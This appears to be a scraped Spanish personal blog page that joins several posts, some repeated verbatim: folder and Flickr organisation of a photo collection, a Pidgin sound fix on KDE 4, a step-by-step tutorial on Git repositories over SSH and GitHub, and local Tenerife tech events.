de Gente, sobretodo las fotos de gente muy cercana y de quienes tengo fotos suyas por todas partes: en eventos, de viaje, en sitios importantes… ¿cuándo poner la foto en su propia carpeta personal y cuándo no? Voy a apuntar el criterio que estoy siguiendo, como recordatorio para cuando me asalte la duda de nuevo en el futuro. Las siguientes categorías (carpetas) deberían tener prioridad:
Por último, pero no por ello menos importante, una nota sobre interoperabilidad: evita todo lo que no sea ASCII en los nombres de ficheros y carpetas. Olvídate de tildes, eñes y demás caracteres especiales. De lo contrario, vivirás en riesto de que un día, quieras o no, sin que puedas elegir, te cambien la codificación de caracteres en el sistema de ficheros (i.e. formato del disco duro, o dispositivo equivalente) y todas esas tildes y eñes se conviertan en letras raras que, impredeciblemente, te pueden dar problemas. En serio, la informática no está tan preparada para esto como te imaginas. No intentes converte de lo contrario, esto ya ha sucedido varias veces en los últimos años. A menudo cuando menos te lo esperas, hace poco casi pierdo un par de cientos de fotos de aquellos maravillosos años. ¡Nunca mais! Venga ya, exagerado, esas cosas ya no pasan… ¡es mentira! Te digo que es mentira que estas cosas ya no pasan, es mentira que la informática esté bien preparada para las tildes, compruébalo aquí y aquí. Un sitio para cada cosaY solamente uno, de forma que siempre sepas dónde debería estar cada cosa. Sólo entonces se puede poner cada cosa en su sitio. Cuando se trata de mantener el orden en una colección de fotos, esta unicidad no es tan fácil de garantizar como parece. En un extremo, existe lo que en matemáticas llamaríamos la solución trivial: Están todas las fotos en una carpeta, no necesito más. Claramente, una solución mucho mejor que tener las fotos repartidas por varias carpetas en distintos sitios. Esto es no complicarse la vida y lo demás son tonterías Conociéndome, pueden imaginar que mi lugar está en el otro extremo Para empezar, tener todas las fotas en (exactamente en, no debajo de) una única carpeta presenta varios problemas:
Hace años que tengo mis (veinte mil) fotos organizadas en carpetas, pero no fue hasta hace unos días que decidí establecer una estructura consistente a estas carpetas. Puede que no exista una solución perfecta (la demostración queda como ejercicio para el lector) pero yo me conformo con dar un pasito, una iteración, hacia una solución un poco mejor Aunque me centraré en las fotos, lo mismo se aplica también para los vídeos, que no son más que un chorizo muy largo de fotos seguidas Darle un nombre único a cada foto es relativamente sencillo. La mayoría de cámaras digitales incluyen un número de secuencia en los nombres de los ficheros que producen. Si tienes más de una cámara del mismo fabricante, podría pasar que los nombres se repitan entre ellas, pero eso se arregla fácilmente cambiando la parte constante del nombre para que refleje de qué camara viene el fichero. Por ejemplo, las fotos de mi vieja Nikon Coolpix 2200 llevan el prefijo c22_, las de mi vieja Nikon Coolpix 8400 llevan el prefijo c84_, las de la Nikon D80 llevan el prefijo d80_, las de la Nikon D90 llevan el prefijo d90_, etc. Asegurándote de que la cámara no resetee el contador —salvo que agote los 4 digítos al llegar a las 10.000 fotos, en cuyo caso añades un 1 delante y relajas el dedo Si tienes fotos de película, numera los carretes y combina ese número con el de fotograma. Y disfruta mientras tengas un laboratorio a mano Si tienes fotos de un móvil que pone la fecha y la hora en el nombre del fichero, las puedes dejar así si no te molesta. Si el móvil hace eso, difícilmente tendrás dos fotos del mismo segundo Si ya estás pensando menudo rollo, todo eso no hace falta es probable que no tengas muchas fotos ni muy antiguas. Mira lo fácil que es llegar al punto donde esto se hace necesario: entre mis 18.268 (muy pocas anteriores a 2003) tengo 761 repetidas, 391 de ellas más de dos veces. Un ejemplo: La primera salió de la Nikon D80 de mi padre, la segunda de mi Nikon D80. Casos así, más de mil. Podría ser mucho, mucho peor. De hecho, lo fué. Pero bueno, esto es fácil. Cada foto tiene una unicidad muy clara en el tiempo, the moment it clicks (y la cámara que hace click). Sólo hay que ponerse. Un sitio (único) para cada cosaEsto es un poco más complicado. A menos que prefieras ordenar tus carpetas por fechas, la unicidad no es tan obvia. ¿Y por qué no ordenas tus carpetas por fechas y ya está? Por varios motivos. Esto es una decisión personal y, para mi sorpresa, la mayoría de la gente que respondió a una breve encuesta a mi alrededor decían ser felices con carpetas basadas en años, meses y eventos. Una organización sin duda fácil de mantener, pero a mí no me va bien porque:
De hecho, mi primera estructura de carpetas para organizar fotos se basaba en fechas. Pronto me quedó claro que así no iba a encontrar las fotos cuando las necesitara. Sobretodo en aquella época (2003-2004) en que desconocía la existencia de las etiquetas IPTC. Qué tiempos aquellos ¿Y si no usas fechas, cómo ordenas las fotos en carpetas? Ésa, ésa, es la pregunta correcta. No hay una respuesta única, pero parece que una buena idea es clasificar las fotos por el motivo que te llevó a disparar. Este motivo podría ser un evento, un lugar, una persona, una cosa… ¿algo más? Los eventos son fáciles de clasificar porque tienen una posición bien definida en el tiempo y el espacio, p.ej. el 19 de mayo de 2010 en el Moscone Conference Centre de San Francisco. Los lugares parecen fáciles de clasificar: de viaje y en casa… hasta que uno de esos destinos de viaje se convierte en casa. No sería la primera vez Las personas también parecen fáciles de clasificar, p.ej. familia, amigos, compañeros de clase, de trabajo, de grupo social A o B. Hasta que un compañero de clase o de trabajo (¡o de ambos!) se convierte en amigo, o una amiga se convierte en familia, o un amigo se convierte en compañero de trabajo… situaciones que también he vivido en los últimos años. It’s complicated Y las cosas ya son un jaleo, así que mejor no clasificaré muchas. Por el momento he encontrado una clase de cosas que me hace generar fotos más que el resto: las aficiones. Si tienes muchas fotos de ciertas cosas en concreto, p.ej. comidas (recetas de cocina) es probable que la razón para ello sea que te gusta cocinar, se puede considerar una afición. Si no cocinas pero aún así tienes muchas fotos de comida, será que te gusta comer También podría darse el caso de que hicieras las fotos por encargo, en cuyo caso podrían clasificarse como trabajos o al menos encargos. El problema es que siempre queda un resto, fotos que haces porque sí, sin un motivo fuertemente definido, o que no pertenencen a un grupo suficientemente numeroso para merecer una carpeta propia. Para esas, después de mucho pensarlo, decidí usar la característica que menos me cuesta recordar de cada foto: el lugar. En esta cruzada contra el Caos he pasado a tener menos carpetas, pero más convenientes:
Para todo lo demás: Location. Location. Location. (Carpeta Sitios). De hecho, Eventos, Viajes, Videos y Senderismo están ordenadas también por lugares. Finalmente, todo cobra sentido: los nombres de ficheros me dicen cuándo hice cada foto, las carpetas me dicen dónde. Así cuando quiera encontrar una foto en mi disco duro, sólo tengo que recordar por qué la hice y dónde, mucho más fácil para mí que recordar cuándo Un ejemplo claro de lo fácil que me resulta recordar dónde hice las fotos y lo difícil que me resulta recordar cuándo: el temporal “Delta” que azotó Canarias el 29 de noviembre de 2005. Hace apenas cinco años y aún tengo que consultar la fecha, a pesar de que viví el temporal. Sin embargo, no me costó mucho recordar el recorrido que hice con la cámara al día siguiente y localizar todas aquellas fotos: Cuando hice aquellas fotos, eso de geotagear debía ser ciencia-ficción Las carpetas tienen dos limitaciones importantes, impuestas por los sistemas de ficheros, que las limitan como mecanismo de clasificación: (a) toda carpeta debe estar dentro de otra (pero sólo una) y (b) cada fichero debe estar en una (única) carpeta. Cuando sacas las fotos del disco duro, p.ej. subiéndolas a Flickr, estas restricciones desaparecen pero aparecen otras, que ahora dependen de la plataforma concreta que hayas elegido para alojar las fotos. Estas diferencias plantean otro problema: cómo mantener organizaciones diferentes pero coherentes, cada una dentro de las restricciones de la plataforma correspondiente. Un ejemplo de esto es Flickr, que sólo permite organizar las fotos en conjuntos y colecciones. Cada foto puede estar en cualquier número de conjuntos, incluso ninguno. Cada conjunto puede estar en cualquier número de colecciones, incluso ninguna. Sin embargo, ningún conjunto puede contener a otro y ninguna colección puede contener a otra. Flickr también permite añadir etiquetas y gente a las fotos, ambas funciones muy útiles a la hora de encontrar cada foto cuando la necesitas. Aprovecho la ocasión para saludar a mi familia, mis amigos en Tenerife, a mis compañeros del club Montañeros de Nivaria, a mis compañeros del GULIC, a mis compañeros de la ETSII, a los Spaniards en Dublín y a cualquiera que (ya no pregunto cómo) haya cruzado disparos (fotos) conmigo. Si sospechas que tengo fotos en las que sales tú y quieres verlas, hazte una cuenta en Flickr (si aún no tienes una) y añádeme a tus contactos. Si tienes fotos en las que salgo yo, por muy viejas que sean, te agradecería que las compartieras conmigo en Flickr, Picasa, Facebook o donde te venga bien Volviendo a lo que nos ocupa (¡pero iba en serio!), voy a esbozar una aproximación al problema de comprimir el árbol de carpetas en sólo dos niveles (colecciones y conjuntos). Las colecciones pueden empezar siendo las carpetas del nivel superior: Aficiones, Eventos, Gente, Viajes, etc. Algunas carpetas de segundo nivel reclamarán su propia colección (p.ej. Gente/Familia), mientras que algunas carpetas de primer nivel podrían no merecerla (p.ej. Selecciones). La carpeta Sitios probablemente tampoco merezca una colección, pero sus hijas (Tenerife, Dublin, Suiza) sí. Eso aún esta por ver (en mi caso) ya que depende de cuántas fotos acaben en esa carpeta, pero es de esperar que, tratándose de mis lugares de residencia, tengan suficiente contenido para tener una colección por cada lugar donde he vivido. Decidir qué colecciones montar es fácil, lo difícil es decidir los conjuntos Puedes empezar por aplicar las mismas reglas desde el otro extremo del árbol de carpetas. Algunas (tal vez muchas) de las carpetas que no tienen ninguna dentro (carpetas hoja al final del árbol) merecerán un conjunto. A veces, cuando éstas no tienen muchas fotos son un poco específicas de más, puede ser más conveniente agregarlas en un conjunto común. Por ejemplo, mi conjunto St. Patrick’s Day contiene fotos de cuatro carpetas, cada una de ellas demasiado específica para merecer su propio conjunto: Events/Ireland/Dublin/St.Patrick's.Day.2007 Events/Ireland/Dublin/St.Patrick's.Day.2008 People/Spaniards/St.Patrick's.Day.2007 People/Spaniards/St.Patrick's.Day.2008Nota: los nombres de mis carpetas tienden a estar en inglés por varios motivos, entre ellos evitar las tildes, eñes y similares. Teniendo un criterio para podar el árbol de forma más o menos consistente, lo ideal sería tener un mapa que describa qué carpetas incluye cada conjunto. Un ejemplo de esta organización, el único que doy por terminado ahora mismo, es mi colección de Eventos. La descripción de esta colección refleja también la estructura en carpetas en mis discos locales. Otro problema, que no existe con las carpetas en discos duros, es cómo ordenar los conjuntos dentro de cada colección. En este caso van por orden cronológico porque así suceden los eventos, son cosas que pasan y yo no puedo estar en dos al mismo tiempo. Pero no siempre será tan fácil. Eventos es la primera carpeta de mi colleción (por orden alfabético) y también una de las que menos fotos contiene, al menos del 8% del total. Ha sido fácil, gracias a que los eventos tienen un lugar y momento bien determinados, pero había fotos tan viejas que han necesitado algo de cirujía en el EXIF. Una semana para el 8% más fácil… no me queda nada Menos mal que las fotos de Viajes no van a necesitar muchos cambios Ya tengo ordenadas (y subidas a Flickr) todas mis fotos de Eventos y Aficiones, ha llevado tiempo pero no ha presentado decisiones difíciles. El gran dilema me lo han plantado las fotos de Gente, sobretodo las fotos de gente muy cercana y de quienes tengo fotos suyas por todas partes: en eventos, de viaje, en sitios importantes… ¿cuándo poner la foto en su propia carpeta personal y cuándo no? Voy a apuntar el criterio que estoy siguiendo, como recordatorio para cuando me asalte la duda de nuevo en el futuro. Las siguientes categorías (carpetas) deberían tener prioridad:
Por último, pero no por ello menos importante, una nota sobre interoperabilidad: evita todo lo que no sea ASCII en los nombres de ficheros y carpetas. Olvídate de tildes, eñes y demás caracteres especiales. De lo contrario, vivirás en riesto de que un día, quieras o no, sin que puedas elegir, te cambien la codificación de caracteres en el sistema de ficheros (i.e. formato del disco duro, o dispositivo equivalente) y todas esas tildes y eñes se conviertan en letras raras que, impredeciblemente, te pueden dar problemas. En serio, la informática no está tan preparada para esto como te imaginas. No intentes converte de lo contrario, esto ya ha sucedido varias veces en los últimos años. A menudo cuando menos te lo esperas, hace poco casi pierdo un par de cientos de fotos de aquellos maravillosos años. ¡Nunca mais! Venga ya, exagerado, esas cosas ya no pasan… ¡es mentira! Te digo que es mentira que estas cosas ya no pasan, es mentira que la informática esté bien preparada para las tildes, compruébalo aquí y aquí. Pidgin no suena en KDE 4![]() Bueno, por fin voy a trabajar de manera estable con KDE4.Una de mis aplicaciones usuales es pidgin, un cliente de mensajería instantánea. Y es muy útil que suene cuando te llega un mensaje. Pero en KDE 4 (al menos en Debian) no suena. Menos mal que San Google Bendito lo sabe todo (no sé si demasiado) y me envió a http://mandrivausers.org/index.php?/topic/43987-help-pidgin-has-no-sound/ (aunque sea de Mandriva). La solución funciona. Traducido: Tuve el mismo problema con Pidgin en Ubuntu 7.10. Esto debería funcionar: 1 En Pidgin, selecciona Preferencias en el menú Herramientas (o pulsa Ctrl+P) 2 Pincha en la pestaña Sonidos 3 En la lista desplegable Método, selecciona Comando 4 En la caja de entrada Comando para sonido escribe lo siguente: aplay %s 5 Selecciona un evento con un sonido asignado en la lista Eventos de sonido 6 Pulsa el botón Previsualizar. Deberías oír ahora el sonido de notificación 7 Pulsa el botón Cerrar ¡Espero que te ayude! :D Repositorio Git sobre SSHHace algún tiempo (4 añitos de nada) publiqué una receta para montar un repositorio SVN sobre SSH, poco después de descubrir Subversion. Desde que tengo un MacBook y uso PCs con Linux un poco antiguos (2 años) me encuentro a menudo con el problema de que las copias locales no son compatibles entre ellos, una versión antigua (1.4) de Subversion no puede manejar una copia local de una versión más reciente (1.6). Dado que necesito usar la misma copia local en varios ordenadores, necesito una solución. Mantener la misma versión de Subversion en cada ordenador no me parece una buena solución a largo plazo, es una solución volátil que se esfuma al cambiar de ordenador or reinstalarle el sistema operativo, que con el MacBook no es poco habitual. Volver a CVS sería como pegarme un tiro en los pies, así que se me ocurrió mirar hacia delante: Git. Git es bastante distinto de Subversion, entre otras cosas me permite olvidarme de qué versión de Git uso en cada momento, pero además me permite guardar cambios e historial en la copia local, algo que con CVS o Subversion no es tan directo En realidad hace algo más de 3 años que conozco git, pero lo tenía un poco abandonado. Recuerdo introducirlo en la Oficina de Software Libre de la Universidad de La Laguna cuando aún era algo relativamente nuevo y desconocido… también recuerdo el susto que nos llevamos un colega y yo cuando parecía que había borrado código suyo, que luego recuperé mágicamente del éter No me voy a enrollar con los detalles, hay documentación a patadas en el sitio de Git si quieres saber más. Sólo apuntaré aquí los pasos necesarios para:
Puedes encontrar algunas operacioens más en este tutorial en inglés, a mí me fue muy útil No es que sea necesario, pero Git no dejará de quedarse hasta que le digas cómo te llamas y cuál es tu email: git config –global user.name "Pepito el de los Palotes" git config –global user.email pepitopalotes.com Paso 1. Crear el respositorio local.Partimos de un directorio con al menos un fichero dentro, en este ejemplo voy a usar unos scripts que uso para automatizar post-procesado de imágenes. cd Fotos/photo-scripts git init git add . git commit -m 'Initial commit' Paso 2. Crear un repositorio remoto.Si tienes accesso SSH a un servidor Linux, sea compartido o no, puedes crear un repositorio ahí: mkdir -p ~/repos/photos-scripts.git git --bare init ~/repos/photos-scripts.gitDe lo contrario, Github es una opción interesante. En mi caso, voy a utilizar dos repositorios: uno público en Github para el código y uno privado para datos sensibles que vamos a suponer están en Fotos/data — a tí te voy a contar dónde están Git no tiene el concepto de un repositorio central del que se derivan todas las copias locales, como CVS o Subversion. Para Git, todas las copias son repositorios, así que todo son repositorios. Lo que tenemos ahora es un repositorio en la máquina local y un repositorio en un servidor, lo que queremos es vincularlos. Esto se hace añadiendo el remoto al local, así: git remote add origin ssh://miguev.net/home/miguev/repos/stuff.gitPara el repositorio en Github, es diferente: git remote add github git@github.com:miguev/photo-scripts.gitAquí he preferido usar github en lugar de origin por claridad. Esta operación sólo establece el vínculo entre ambos repositorios, pero no transmite nada entre ellos. Para enviar los contenidos al repositorio remoto, hay que empujarlos: git push origin masterPara el repositorio en Github, usar github en lugar de origin: git push github master Paso 4. Crear una copia local nueva.O lo que es lo mismo, crear un nuevo repositorio clonando uno que sea accesible: git clone ssh://miguev.net/home/miguev/repos/stuff.gitPara clonar un repositorio público en Github, lo mismo pero con acceso de sólo lectura: git clone http://github.com/miguev/photo-scripts.gitA partir de ahí tienes un repositorio completamente funcional en tu propio disco local. Puedes hacer cambios y guardarlos (commit) sin estar conectado a Internet. Paso 5. Integrar los cambios de vuelta al repositorio remoto.Tras hacer cambios en los ficheros, añadir ficheros, etc. viene el momento de guardar (commit) esos cambios, de forma que si algo va mal más adelante se puede volver atrás. Esta operación es igual que en CVS y Subversion: git add muestra.txt git commit -a -m "Muestra gratuita." muestra.txtSin embargo, al contrario que CVS y Subversion, esta operación nunca envía los cambios a un servidor remoto, de modo que el repositorio remoto los recibe. Aquí está la gracia de que Git sea un sistema de control de versiones distribuido: puedes guardar todos los cambios que quieras en tu repositorio sin molestar a nadie Una vez que los cambios guardados están listos para publicar (para algún valor de publicar), la operación necesaria es empujar el repositorio local hacia el remoto: git push origin masterPara el repositorio en Github, usar github en lugar de origin: git push github master Paso 6. Recuperar esos cambios de vuelta al repositorio original.Esta operación no es sino la inversa de la anterior: git pull originPara el repositorio en Github, usar github en lugar de origin: git pull github Paso 7. Tener cuidado.Cuando se hacen cambios en varios repositorios locales, hay que tener quidado de sincronizar cada uno (pull) con el repositorio remoto antes de enviarle a éste los cambios (push) ya que de lo contrario se producen conflictos al intentarlo. En estos casos, Git muestra una ayuda bastante buena que explica todo muy bien Aunque sea vieja (algo más de 3 años) y posiblemente no viene a cuento, no puedo terminar sin recomendarles la esta introducción a Git, del mismo Linus Torvalds. Tiene algunos golpes muy buenos Repositorio Git sobre SSHHace algún tiempo (4 añitos de nada) publiqué una receta para montar un repositorio SVN sobre SSH, poco después de descubrir Subversion. Desde que tengo un MacBook y uso PCs con Linux un poco antiguos (2 años) me encuentro a menudo con el problema de que las copias locales no son compatibles entre ellos, una versión antigua (1.4) de Subversion no puede manejar una copia local de una versión más reciente (1.6). Dado que necesito usar la misma copia local en varios ordenadores, necesito una solución. Mantener la misma versión de Subversion en cada ordenador no me parece una buena solución a largo plazo, es una solución volátil que se esfuma al cambiar de ordenador or reinstalarle el sistema operativo, que con el MacBook no es poco habitual. Volver a CVS sería como pegarme un tiro en los pies, así que se me ocurrió mirar hacia delante: Git. Git es bastante distinto de Subversion, entre otras cosas me permite olvidarme de qué versión de Git uso en cada momento, pero además me permite guardar cambios e historial en la copia local, algo que con CVS o Subversion no es tan directo En realidad hace algo más de 3 años que conozco git, pero lo tenía un poco abandonado. Recuerdo introducirlo en la Oficina de Software Libre de la Universidad de La Laguna cuando aún era algo relativamente nuevo y desconocido… también recuerdo el susto que nos llevamos un colega y yo cuando parecía que había borrado código suyo, que luego recuperé mágicamente del éter No me voy a enrollar con los detalles, hay documentación a patadas en el sitio de Git si quieres saber más. Sólo apuntaré aquí los pasos necesarios para:
Puedes encontrar algunas operacioens más en este tutorial en inglés, a mí me fue muy útil No es que sea necesario, pero Git no dejará de quedarse hasta que le digas cómo te llamas y cuál es tu email: git config –global user.name "Pepito el de los Palotes" git config –global user.email pepitopalotes.com Paso 1. Crear el respositorio local.Partimos de un directorio con al menos un fichero dentro, en este ejemplo voy a usar unos scripts que uso para automatizar post-procesado de imágenes. cd Fotos/photo-scripts git init git add . git commit -m 'Initial commit' Paso 2. Crear un repositorio remoto.Si tienes accesso SSH a un servidor Linux, sea compartido o no, puedes crear un repositorio ahí: mkdir -p ~/repos/photos-scripts.git git --bare init ~/repos/photos-scripts.gitDe lo contrario, Github es una opción interesante. En mi caso, voy a utilizar dos repositorios: uno público en Github para el código y uno privado para datos sensibles que vamos a suponer están en Fotos/data — a tí te voy a contar dónde están Git no tiene el concepto de un repositorio central del que se derivan todas las copias locales, como CVS o Subversion. Para Git, todas las copias son repositorios, así que todo son repositorios. Lo que tenemos ahora es un repositorio en la máquina local y un repositorio en un servidor, lo que queremos es vincularlos. Esto se hace añadiendo el remoto al local, así: git remote add origin ssh://miguev.net/home/miguev/repos/stuff.gitPara el repositorio en Github, es diferente: git remote add github git@github.com:miguev/photo-scripts.gitAquí he preferido usar github en lugar de origin por claridad. Esta operación sólo establece el vínculo entre ambos repositorios, pero no transmite nada entre ellos. Para enviar los contenidos al repositorio remoto, hay que empujarlos: git push origin masterPara el repositorio en Github, usar github en lugar de origin: git push github master Paso 4. Crear una copia local nueva.O lo que es lo mismo, crear un nuevo repositorio clonando uno que sea accesible: git clone ssh://miguev.net/home/miguev/repos/stuff.gitPara clonar un repositorio público en Github, lo mismo pero con acceso de sólo lectura: git clone http://github.com/miguev/photo-scripts.gitA partir de ahí tienes un repositorio completamente funcional en tu propio disco local. Puedes hacer cambios y guardarlos (commit) sin estar conectado a Internet. Paso 5. Integrar los cambios de vuelta al repositorio remoto.Tras hacer cambios en los ficheros, añadir ficheros, etc. viene el momento de guardar (commit) esos cambios, de forma que si algo va mal más adelante se puede volver atrás. Esta operación es igual que en CVS y Subversion: git add muestra.txt git commit -a -m "Muestra gratuita." muestra.txtSin embargo, al contrario que CVS y Subversion, esta operación nunca envía los cambios a un servidor remoto, de modo que el repositorio remoto los recibe. Aquí está la gracia de que Git sea un sistema de control de versiones distribuido: puedes guardar todos los cambios que quieras en tu repositorio sin molestar a nadie Una vez que los cambios guardados están listos para publicar (para algún valor de publicar), la operación necesaria es empujar el repositorio local hacia el remoto: git push origin masterPara el repositorio en Github, usar github en lugar de origin: git push github master Paso 6. Recuperar esos cambios de vuelta al repositorio original.Esta operación no es sino la inversa de la anterior: git pull originPara el repositorio en Github, usar github en lugar de origin: git pull github Paso 7. Tener cuidado.Cuando se hacen cambios en varios repositorios locales, hay que tener quidado de sincronizar cada uno (pull) con el repositorio remoto antes de enviarle a éste los cambios (push) ya que de lo contrario se producen conflictos al intentarlo. En estos casos, Git muestra una ayuda bastante buena que explica todo muy bien Aunque sea vieja (algo más de 3 años) y posiblemente no viene a cuento, no puedo terminar sin recomendarles la esta introducción a Git, del mismo Linus Torvalds. Tiene algunos golpes muy buenos Tenerife Lan Party, DesCon2 y Blogs&GofioEsta semanita promete: Durante (casi) toda la semana, del miércoles 21 al domingo, 25, la Tenerife Lan Party, ahora con una nueva sección sobre innovación y tecnología, TLF+i, con la que estamos colaborando desde Metriz. Una oferta lúdico-formativa que no puedes dejar de visitar. Mira el programa y, si no ves nada que te interesa, pide cita para un médico urgentemente, puede ser grave. El viernes, a la noche, después de un encuentro sobre blogs en Canarias en la TLP, una nueva convocatoria de Blogs & Gofio, XXVII edición. Todos los detalles en el enlace anterior. Recuerda confirmar tu asistencia con un comentario en el post o en la página de facebook del evento. El sábado por la mañana, la cuarta DesCon2, la iniciativa divulgadora de la innovación de Canarias, con un programa, como siempre, variado e interesante:
El cartel de la XXVII Blogs And Gofio, de ambientación claramente retrojueguil: ![]() Parecidos razonablesHay un símbolo que veo mucho en mi pueblo (una cuidad de casi 17,000 habitantes) y no podría dejar de pensar eso se parece mucho a algo que conozco. No me había parado a pensar mucho al respecto, seguramente porque el único sitio donde está visible todos los días es camino del tren hacia la oficina… camino que hago corriendo más a menudo que caminando Así que no fue hasta que me di un paso en el tiempo, a base de ordenar fotos viejas, que tropecé de narices con ese algo que conozco: El parecido no es mucho, pero para mi alocada cabeza aún parece razonable. Esto es el logotipo del club deportivo elemental Montañeros de Nivaria de Tenerife, en tiempos mi segunda familia. Su sitio web en 1995, como el mismo club, parece que la última vez que lo actualizaron fue por su décimo aniversario pero sin grandes cambios. Dudo que el creador de ambos (logotipo y sitio web) sospechara cuan longevas sus creaciones llegarían a ser. Eso es dar en el clavo en cuanto a dejar felices a los usuarios Parecidos razonablesHay un símbolo que veo mucho en mi pueblo (una cuidad de casi 17,000 habitantes) y no podría dejar de pensar eso se parece mucho a algo que conozco. No me había parado a pensar mucho al respecto, seguramente porque el único sitio donde está visible todos los días es camino del tren hacia la oficina… camino que hago corriendo más a menudo que caminando Así que no fue hasta que me di un paso en el tiempo, a base de ordenar fotos viejas, que tropecé de narices con ese algo que conozco: El parecido no es mucho, pero para mi alocada cabeza aún parece razonable. Esto es el logotipo del club deportivo elemental Montañeros de Nivaria de Tenerife, en tiempos mi segunda familia. Su sitio web en 1995, como el mismo club, parece que la última vez que lo actualizaron fue por su décimo aniversario pero sin grandes cambios. Dudo que el creador de ambos (logotipo y sitio web) sospechara cuan longevas sus creaciones llegarían a ser. Eso es dar en el clavo en cuanto a dejar felices a los usuarios |